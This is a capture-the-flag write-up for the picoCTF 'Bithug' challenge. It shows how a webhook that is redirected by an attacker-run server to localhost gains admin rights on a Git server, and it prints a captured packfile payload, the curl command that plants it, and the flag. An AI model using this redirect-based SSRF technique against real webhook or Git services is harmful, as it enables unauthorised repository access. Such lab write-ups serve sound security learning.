Bithug

Problem

Code management software is way too bloated. Try our new lightweight solution, BitHug. Source: distribution.tgz

Solution

  1. This web application is using Express.js for the backend and React for the frontend. The package manager is Yarn and Webpack is used to bundle assets. NPM scripts are used to run the various build and serve processes. The entire project can easily be run in a docker container thanks to the included Dockerfile. Essentially, this challenge makes use of the standard set of tools used to build a full-stack application. It is likely a hard challenge due to the number of programs that one must understand to complete it. The goal of the challenge is to get access to the repository at /_/<username>.git because the flag is in the readme file of that repo.

  2. The actual website itself is a simple Git server with functionality similar to that of GitHub (the challenge name is "GitHub" with the first and last letters switched). Users can create an account, create a git repository, and then push changes. Additionally, webhooks are supported so a user can post data to an external server on every commit. There is also a feature to give other users access to your repository by editing the access.conf file on the refs/meta/config commit of the repo.

  3. Looking at the backend code we see following files:

    1. auth-api.ts: Handles authentication from a user-token cookie or authorization header. Alternatively, if the incoming connection is happening over localhost, the user kind attribute is automatically set to admin.

    2. auth.ts: Basic logic for connecting the application to a database to store users.

    3. git-api.ts: The API to interact with git repositories over HTTP. Many of these function signatures are standard as part of Git.

    4. git.ts: A bridge between the web application and the git command.

    5. index.ts: The main entry point.

    6. static-api.ts: Code to enable serving of the main html and js files for React.

    7. utils.ts: Basic utilities. Only contains a formatString function.

    8. web-api.ts: Contains the login, logout, create repository, register, and obtain user information endpoints.

    9. webhooks.ts: Similar to auth.ts, but for webhooks. Connects the application to a database to store webhooks.

  4. Here are some interesting things to take note of:

    1. The only ways to obtain access to a repository that a user does not own are to be user.kind === "admin" or to have the username be in the access config file. Source: git-api.ts Line 20.

    2. There is only one time when user.kind is set to admin and it is when req.socket.remoteAddress is localhost. Source: auth-api.ts Line 26.

    3. The code that creates a webhook checks to make sure that the endpoint of the webhook is not localhost and that the port is 80. Source: git-api.ts Line 64.

    4. The only places that data can be posted are the login, register, repo/create, and logout endpoints in web-api.ts and the /:user/:repo.git/webhooks, /:user/:repo.git/git-upload-pack, and /:user/:repo.git/git-receive-pack endpoints in git-api.ts. The aforementioned endpoints in web-api.ts are basic and likely not exploitable.

  5. Initially, I tried figuring our how to spoof the nodejs req.socket.remoteAddress function (auth-api.ts Line 26). However, this web application is behind a reverse proxy that is configured correctly so spoofing this value is not possible. Thus, in order to execute a request as admin, the request needs to literally come from localhost. We want to execute a request as an admin because an admin can access any repo, including the one with the flag at /_/<username>.git. Also, when we make a commit to a repository on BitHug, the following requests are shown in the console:

    { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
    { kind: 'none' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
    { kind: 'user', user: 'zwade' } GET /zwade/quine.git/info/refs?service=git-receive-pack { service: 'git-receive-pack' }
    { kind: 'user', user: 'zwade' } POST /zwade/quine.git/git-receive-pack {}

    Every commit posts data we control to the /:user/:repo.git/git-receive-pack endpoint, which is useful.

  6. For this tutorial, we will be using the zwade user because some of his repositories are proxied to http://localhost:1823 in the client/src/webpack.config.js devServer. I'm not sure if it is necessary to use this user.

  7. Trying to use any endpoint that starts with /:user/:repo.git requires user.kind === "admin" || user.user === repoOwner or for the username to be in the access configuration file. Posting to /:user/:repo.git/git-receive-pack calls req.git.receivePackPost and allows the user to push changes to their git repository. Therefore, we need to create a webhook on a repo that a regular user owns that posts data to localhost. In this case we will use the zwade/quine.git repo. The webhook will post a git pack to the /_/zwade.git/git-receive-pack endpoint to add a new commit to the /_/zwade.git repo. This commit will add the zwade user to the access.conf file of the /_/zwade.git repo. When we push a new commit to zwade/quine.git, the webhook will be called and the new commit will be pushed to the /_/zwade.git repo, which will add zwade to the access.conf and thus give us access. The commit will be pushed successfully because the request will come from localhost and thus the user will be an admin.

  8. We first need to obtain a Git packfile containing a commit that adds a file called access.conf to refs/meta/config containing our username, zwade. The can be completed by creating a new empty repository on BitHug and then cloning it using the provided commands. While capturing packets on the docker0 network interface using wireshark, run the following commands in the cloned repository:

    echo "zwade" > access.conf
    git add access.conf
    git commit -m "Add"
    git push origin @:refs/meta/config
  9. In wireshark (my capture file: bithug-git.pcapng) we can follow the HTTP stream and see the git packfile being sent with the content generated by the send-pack process. To learn more about how the internals of git push work (including send-pack and git-receive-pack) then you should read the Chapter 10.6: Git Internals - Transfer Protocols of the Git Book. In wireshark, we can change the data view to "C Arrays" and copy-paste the hex bytes into CyberChef to convert them to base64, since the /:user/:repo.git/webhooks endpoint decodes the body as base64. We could try to manually create the header data generated by send-pack, but that is difficult and wireshark makes it easy to get the exactly correct payload.

    C Array extracted from wireshark:

    0x30, 0x30, 0x39, 0x34, 0x30, 0x30, 0x30, 0x30, 
    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 
    0x30, 0x30, 0x30, 0x30, 0x20, 0x65, 0x37, 0x38, 
    0x36, 0x64, 0x65, 0x62, 0x61, 0x39, 0x36, 0x37, 
    0x30, 0x34, 0x33, 0x34, 0x35, 0x34, 0x31, 0x63, 
    0x30, 0x65, 0x36, 0x66, 0x36, 0x61, 0x34, 0x30, 
    0x65, 0x39, 0x62, 0x64, 0x32, 0x36, 0x66, 0x31, 
    0x38, 0x61, 0x39, 0x38, 0x61, 0x20, 0x72, 0x65, 
    0x66, 0x73, 0x2f, 0x6d, 0x65, 0x74, 0x61, 0x2f, 
    0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x00, 0x20, 
    0x72, 0x65, 0x70, 0x6f, 0x72, 0x74, 0x2d, 0x73, 
    0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x73, 0x69, 
    0x64, 0x65, 0x2d, 0x62, 0x61, 0x6e, 0x64, 0x2d, 
    0x36, 0x34, 0x6b, 0x20, 0x61, 0x67, 0x65, 0x6e, 
    0x74, 0x3d, 0x67, 0x69, 0x74, 0x2f, 0x32, 0x2e, 
    0x32, 0x35, 0x2e, 0x31, 0x30, 0x30, 0x30, 0x30, 
    0x50, 0x41, 0x43, 0x4b, 0x00, 0x00, 0x00, 0x02, 
    0x00, 0x00, 0x00, 0x03, 0x96, 0x0b, 0x78, 0x9c, 
    0xa5, 0x8c, 0x31, 0x0e, 0x83, 0x30, 0x0c, 0x00, 
    0xf7, 0xbc, 0xc2, 0x1f, 0x28, 0xb2, 0xd3, 0xd4, 
    0x01, 0xa9, 0xaa, 0xda, 0x8d, 0x6f, 0x10, 0xdb, 
    0x51, 0x3a, 0xd0, 0x48, 0x10, 0x86, 0xfe, 0xbe, 
    0x08, 0x9e, 0xd0, 0xe9, 0x74, 0x37, 0x5c, 0x5b, 
    0xcc, 0xc0, 0x38, 0x06, 0xcb, 0x59, 0x08, 0x51, 
    0x93, 0x8a, 0xd2, 0x8d, 0xaf, 0x12, 0x7d, 0x60, 
    0xc1, 0x21, 0x59, 0x26, 0x4b, 0xbe, 0xef, 0xc5, 
    0x07, 0x37, 0x6d, 0xad, 0xd4, 0x05, 0xc6, 0xe9, 
    0xab, 0xf6, 0x81, 0xb1, 0x6e, 0xeb, 0x8e, 0x7b, 
    0x39, 0xf4, 0x79, 0xa2, 0x1c, 0xb1, 0x93, 0x3a, 
    0x3f, 0x80, 0x98, 0x98, 0x7d, 0x8c, 0x43, 0x84, 
    0x0b, 0x06, 0x44, 0xb7, 0xd7, 0xf9, 0xdd, 0x9a, 
    0xfd, 0xb1, 0x70, 0x2f, 0x55, 0xf7, 0x03, 0xdf, 
    0xbc, 0x39, 0x26, 0xa7, 0x02, 0x78, 0x9c, 0x33, 
    0x34, 0x30, 0x30, 0x33, 0x31, 0x51, 0x48, 0x4c, 
    0x4e, 0x4e, 0x2d, 0x2e, 0xd6, 0x4b, 0xce, 0xcf, 
    0x4b, 0x63, 0xe0, 0xfb, 0xcd, 0x1c, 0xd8, 0x5a, 
    0x29, 0x2c, 0x9c, 0xe2, 0x79, 0x6a, 0x5b, 0x6c, 
    0x40, 0xdf, 0xa1, 0x4b, 0xb7, 0x8c, 0x0b, 0x01, 
    0xf6, 0x64, 0x0e, 0x91, 0x36, 0x78, 0x9c, 0xab, 
    0x2a, 0x4f, 0x4c, 0x49, 0xe5, 0x02, 0x00, 0x08, 
    0xb9, 0x02, 0x26, 0xee, 0x24, 0xf7, 0x11, 0x5a, 
    0x4a, 0xcf, 0x5b, 0x26, 0xd6, 0xbc, 0x49, 0xd8, 
    0xb7, 0x3b, 0x47, 0x23, 0x02, 0xa8, 0x50

    Using CyberChef we get the following base64 string: MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==. This is the payload for our webhook.

  10. Before we can craft our webhook payload we need to get around the check on lines 71-77 of git-api.ts. This code makes sure the webhook does not point to localhost and that it connects to port 80. This is a problem for us because the backend of the application runs on localhost:1823. We can bypass this by running a server that redirects all post requests to the localhost domain. I wrote a simple python server to do this in server.py. You can either run this server on your local network (and port forward it on your router) or put it on an actual server using something like Google's AppEngine. The server performs a 307 redirect because 307 redirects prohibit HTTP method changes upon redirect: "It is therefore recommended to set the 302 code only as a response for GET or HEAD methods and to use 307 Temporary Redirect instead, as the method change is explicitly prohibited in that case." Quote from HTTP Code 302 on MDN.

  11. Let's create a new repository called first-repo for this webhook. Then, we can post the webhook using cURL: curl http://venus.picoctf.net:52986/zwade/first-repo.git/webhooks -H "Content-Type: application/json" --cookie "user-token=2dcba1e6-2957-475b-adad-54d123d7bc9a" --data '{"url":"<IP_ADDRESS>/_/zwade.git/git-receive-pack","body":"MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgZTc4NmRlYmE5NjcwNDM0NTQxYzBlNmY2YTQwZTliZDI2ZjE4YTk4YSByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMjUuMTAwMDBQQUNLAAAAAgAAAAOWC3icpYwxDoMwDAD3vMIfKLLT1AGpqtqNbxDbUTrQSBCG/r4IntDpdDdcW8zAOAbLWQhRk4rSja8SfWDBIVkmS77vxQc3ba3UBcbpq/aBsW7rjns59HmiHLGTOj+AmJh9jEOECwZEt9f53Zr9sXAvVfcD37w5JqcCeJwzNDAwMzFRSExOTi0u1kvOz0tj4PvNHNhaKSyc4nlqW2xA36FLt4wLAfZkDpE2eJyrKk9MSeUCAAi5AibuJPcRWkrPWybWvEnYtztHIwKoUA==","contentType":"application/x-git-receive-pack-request"}'. Make sure to replace <IP_ADDRESS> with the IP address where you are running the server.py script. The contentType for the webhook is application/x-git-receive-pack-request since this is the content type shown in the code for the /:user/:repo.git/git-receive-pack endpoint in git-api.ts on line 159. Make sure to set your user-token cookie for the zwade user by grabbing it from your browser developer tools.

  12. Once this webhook is in place, all we need to do is commit a new change to zwade/first-repo.git:

    echo "new" > new.md
    git add new.md
    git commit -m "New"
    git push origin master

    Running the above commands in the zwade/first-repo.git repo will push the new file and thus execute our webhook. Our webhook connects to our server which redirects the request to localhost on the server running BitHug. The payload data (a Git packfile containing a file called access.conf with the text zwade in it) is posted to localhost:1823/_/zwade.git/git-receive-pack, and thus a new commit is added to the target repository that gives the user zwade access. We can visit http://venus.picoctf.net:52986/_/zwade.git to get the flag from the target repository's readme file.

Flag

picoCTF{good_job_at_gitting_good}

Last updated